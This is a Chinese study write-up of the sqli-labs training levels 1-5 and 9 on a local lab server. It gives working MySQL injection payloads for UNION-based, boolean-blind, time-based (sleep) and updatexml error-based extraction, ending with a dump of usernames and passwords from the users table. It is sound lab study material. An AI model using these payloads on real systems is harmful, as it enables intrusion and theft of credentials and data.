sqli--sql注入过关笔记(1,2,3,4,5,9)

首先明确我们需要干什么:

1.判断sql注入类型。是字符?是数字?

2.判断闭合符是什么。

3.判断查询的列数是几列

4.判断回显的位置。

Less1~~~~Less4

这4关其实大差不差,只在判断闭合符上有不同。

##判断sql注入类型。是字符?是数字?

http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 --+

可以看到在"?id"后面是我们sql注入的内容,使用"1 and 1=2"这个语句可以用来判断sql注入类型。是字符?是数字?;如果是数字的话就不会显示,因为1=2这个式子永远为假,如果是字符型的话,系统就会读取最前面的1,然后把后面的and 1=2当作异常数据不理会,然后输出1的内容。

##判断闭合符是什么?

Less1

http://127.0.0.1/sqli/Less-1/?id= 1' and 1=2 --+

不显示,说明存在单引号字符型注入

Less2

http://127.0.0.1/sqli/Less-2/?id= 1 and 1=2 --+

不显示,说明是数字型注入

Less3

http://127.0.0.1/sqli/Less-3/?id= 1' and 1=2 --+

显示报错,说明对了一半,还有一个没猜出来。

http://127.0.0.1/sqli/Less-3/?id= 1') and 1=2 --+

不显示,说明猜对了。

Less4

http://127.0.0.1/sqli/Less-4/?id= 1") and 1=2 --+

不显示,说明猜对了。

##.判断查询的列数是几列(以Lsse1为例,剩下3个差不多)

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+ //正常显示1的内容

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+

//报错 "Unknown column '4'"说明是3 列

##确定回显位(UNION SELECT)

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

//回显位在 第 2 列和第 3 列(Your Login name:2 / Your Password:3)

///这里最前面的查询数字从1改成了-1,是为了让数据库查不出来这个数据,从而可以让 union拼接符把后面的select函数显示到页面上来。

##获取数据库信息

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),version() --+

(Your Login name:security/Your Password:5.7.26)

##枚举所有表名

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

(Your Login name:emails,referers,uagents,users)

~~group_concat(table_name)

正常查询 table_name 会分行返回多个表名;

group_concat() 把所有结果拼接成一行字符串,适合页面只有一处回显的场景。

from information_schema.tables

information_schema 是 MySQL 自带系统库。 tables 这张系统表记录了:服务器上所有数据 库、所有数据表信息。 想要爆破表名必须查这张表。

where table_schema=database()

table_schema:字段含义 = 数据库名称

database():无参函数,返回当前正在使用的数据库名

整句作用:只查询当前网站所在数据库里面的表,过滤掉其他库的数据。

##枚举 users 表的列名

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

(Your Login name:id,username,password)

Less5 布尔型注入

------布尔盲注-------

  • 条件为真 → 页面正常显示(True)
  • 条件为假 → 页面异常 / 空白(False)

核心函数(布尔盲注必备)

  1. length(str):获取字符串长度
  2. substr(str,pos,len):截取字符串 substr (数据,起始位置,截取长度)

##判断注入点

http://127.0.0.1/sqli/Less-5/?id=1' and 1=2 --+

不显示,说明注入成功,

##判断当前数据库名称长度

通过length()函数查询数据库名称长度,并进行比较猜测。

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+

页面显示,说明猜对了

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+

页面不显示,说明猜错了

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=8 --+

页面显示,说明猜对了。长度就是8。

##猜数据库第一个字符

使用ascii码对数据库名称进行猜测

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)) =115 --+

页面显示,说明猜对了;115 = s 所以数据库名第一个字符是s

##猜表名

先猜第一张表名字长度

http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

页面显示,说明猜对了

猜第一个字符

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

页面显示,说明猜对了

Less9 时间盲注

适用场景

  • 没有页面回显
  • 没有布尔状态(页面真假看不出区别)
  • 只能依靠:SQL 执行是否触发延时 判断条件真假

原理: if(条件,延时函数,不延时)

  • 条件为真 → 数据库执行sleep(N),页面加载变慢
  • 条件为假 → 不延时,页面瞬间打开

##测试延时是否生效,来判断注入点

http://127.0.0.1/sqli/Less-9/?id=1'and sleep(3) --+

//页面延迟了3秒加载,注入成功。

~~~这是正在加载

~~~这是加载完成

##判断数据库名字长度

http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,sleep(3),1) --+

页面延时 → 条件成立;database ()=security,长度 8。

##逐字符猜库名

http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

页面延时 → 条件成立;115 = s 所以数据库名第一个字符是s。

报错注入

网站会把 MySQL 原生 SQL 错误打印到页面上。 如果网站统一屏蔽错误(只显示 "出错了",不输出数据库报错)→ 报错注入无法使用。 主流两种函数:

  1. updatexml(任意值, concat(~,查询内容,~),任意值) // 0x7e = ~
  2. extractvalue(任意值, concat(0x7e,查询内容,0x7e)) 原理相同:第二个参数接收 XPath 表达式,传入非法 XPath,数据库把我们拼接的数据放在报错信息中返回。

⚠ 硬性限制:单次报错最多回显 32 个字符 ,超长内容必须用 limit N,1 逐条读取,不要直接用 group_concat

##获取当前数据库名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

(XPATH syntax error: '~security~')

##获取数据库下所有表名(因为最多 32 字符,只能一条一条拿,使用 limit x,1)

--第0条表

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+

(XPATH syntax error: '~emails~')

--第1条表

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1) --+

(XPATH syntax error: '~referers~')

--第n条表

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit n,1),0x7e),1) --+

##获取指定表(users)中的字段名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) --+

(XPATH syntax error: '~id~')

##读取表内账号密码数据

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e),1) --+

(XPATH syntax error: '~Dumb:Dumb~')

updatexml 函数原型回顾

修改 XML 字符串里指定节点的数据 MySQL 专门用来处理 XML 文本的内置函数。

updatexml(xml_doc, xpath_expr, new_val)

xml_doc :xml 文档,可以是字符串常量、数字常量

如果你直接写一串字母不加引号:MySQL 判定为字段名

xpath_expr 类型:字符串,XPath 表达式(核心注入点)

作用:定位 XML 中要被修改的节点

注入原理: 构造非法 XPath 语法 ,MySQL 会把表达式原文打印在错误信息中。 我们放入 concat(0x7e,查询内容,0x7e)~ 破坏 XPath 语法,触发报错带出数据。

new_val 类型:字符串

作用:匹配到节点后,用来替换节点内容的新值

注入场景下不会执行替换逻辑(因为 xpath 非法直接报错);

随便填常量 1、'123' 占位即可;和参数 1 规则一样:裸写字母会被当做字段。

相关推荐
小诗懂技术5 小时前
【sqlite3数据库】一站式学会 增删改查 以及数据库c接口编程
数据库·sqlite
风123456789~5 小时前
【架构专栏】第6章 数据库设计基础知识 4/4
数据库·架构
SatanII5 小时前
OpenStack核心组件详解|Keystone+Glance+Nova+Cinder原理与实操笔记
网络·笔记·openstack
IvorySQL5 小时前
代价比较的变革——PostgreSQL执行计划干预增强深度解析
数据库·postgresql·ffmpeg
SL-staff5 小时前
离散制造企业如何应对频繁插单?智能排产系统带来新思路
大数据·数据库·人工智能·技术教程·智能排产·jvs-aps·排产系统
码云数智-园园5 小时前
Oracle 锁等待、会话阻塞故障复盘:生产事故排查步骤
数据库·oracle
哈__6 小时前
从 MySQL 到在线表格:NocoDB 自托管部署、数据导入与远程访问
数据库·mysql
倔强的石头1067 小时前
高可用与无感扩容——分布式时序数据库选型指南
数据库·分布式·时序数据库
点心的游戏开发世界14 小时前
GDScript 入门笔记(十一):Lambda 与匿名函数
开发语言·笔记·游戏引擎·godot
摇滚侠14 小时前
《SpringBoot 3:入门与应用实战》第 12 章 JDBC 与事务 使用 JdbcTemplate 阅读笔记 32
spring boot·笔记·后端